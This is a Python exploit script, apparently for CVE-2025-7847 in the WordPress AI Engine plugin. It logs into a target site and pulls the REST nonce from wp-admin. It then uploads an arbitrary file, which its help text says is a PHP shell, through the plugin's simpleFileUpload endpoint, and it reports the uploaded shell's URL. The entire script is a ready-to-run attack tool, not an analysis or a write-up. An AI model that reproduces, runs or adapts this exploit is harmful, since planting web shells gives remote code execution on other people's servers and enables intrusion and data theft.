import requests import argparse import os import re from urllib.parse import urljoin from bs4 import BeautifulSoup requests.packages.urllib3.disable_warnings() def login_and_get_nonce(base_url, username, password): session = requests.Session() login_url = base_url.rstrip('/') + "/wp-login.php" print(f"[*] Opening login page: {login_url}") resp = session.get(login_url, verify=False) print("[LOG] GET /wp-login.php status:", resp.status_code) soup = BeautifulSoup(resp.text, "html.parser") redirect_input = soup.find("input", {"name": "redirect_to"}) redirect_to = redirect_input['value'] if redirect_input else urljoin(base_url, "/wp-admin/") payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': redirect_to, 'testcookie': '1' } print(f"[*] Trying login as: {username}") resp = session.post(login_url, data=payload, verify=False, allow_redirects=True) print("[LOG] POST /wp-login.php status:", resp.status_code) print("[LOG] Final redirected URL:", resp.url) if "dashboard" not in resp.text and "/wp-admin" not in resp.url: print("[LOG] Login page body (first 300 chars):") print(resp.text[:300]) raise Exception("[-] Login gagal. Periksa username/password atau struktur WordPress.") settings_url = base_url.rstrip("/") + "/wp-admin/" print(f"[*] Accessing settings page to fetch nonce: {settings_url}") resp = session.get(settings_url, verify=False) print("[LOG] GET settings page status:", resp.status_code) match = re.search(r'wpApiSettings\s*=\s*{[^}]*"nonce":"([^"]+)"', resp.text) if not match: print("[LOG] Failed to locate 'wpApiSettings = {...}' block in HTML") raise Exception("[-] Gagal menemukan wpApiSettings.nonce.") nonce = match.group(1) print(f"[+] Nonce ditemukan: {nonce}") cookie_jar = session.cookies.get_dict() cookie_str = "; ".join([f"{k}={v}" for k, v in cookie_jar.items()]) return nonce, cookie_str, session def upload_file(base_url, cookie, nonce, file_path, session): endpoint = base_url.rstrip('/') + "/wp-json/mwai/v1/simpleFileUpload" print(f"[*] Upload endpoint: {endpoint}") if not os.path.isfile(file_path): print(f"[!] File tidak ditemukan: {file_path}") return files = {'file': open(file_path, 'rb')} headers = { 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', 'X-WP-Nonce': nonce, 'X-Requested-With': 'XMLHttpRequest', 'Referer': base_url.rstrip('/') + "/wp-admin/admin.php?page=mwai_settings", 'Origin': base_url } cookies = dict([c.strip().split("=", 1) for c in cookie.split(";") if "=" in c]) print("[*] Sending upload request...") response = session.post(endpoint, headers=headers, cookies=cookies, files=files, verify=False) print("[LOG] POST upload status:", response.status_code) if response.status_code == 200 and 'success' in response.text: json_data = response.json() print("[+] Exploit berhasil!") print("[-] File diunggah ke:", json_data['data']['url'].replace('\\/', '/')) else: print("[!] Upload gagal.") print("[-] Response body (trimmed):", response.text[:500]) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit AI Engine (CVE-2025-7847) with LOG") parser.add_argument('--url', required=True, help='Target base URL (e.g. http://localhost/wordpress)') parser.add_argument('--username', required=True, help='WordPress username') parser.add_argument('--password', required=True, help='WordPress password') parser.add_argument('--file', required=True, help='Path ke shell file (e.g. shell.php)') args = parser.parse_args() try: nonce, cookie_str, session = login_and_get_nonce(args.url, args.username, args.password) upload_file(args.url, cookie_str, nonce, args.file, session) except Exception as e: print(str(e))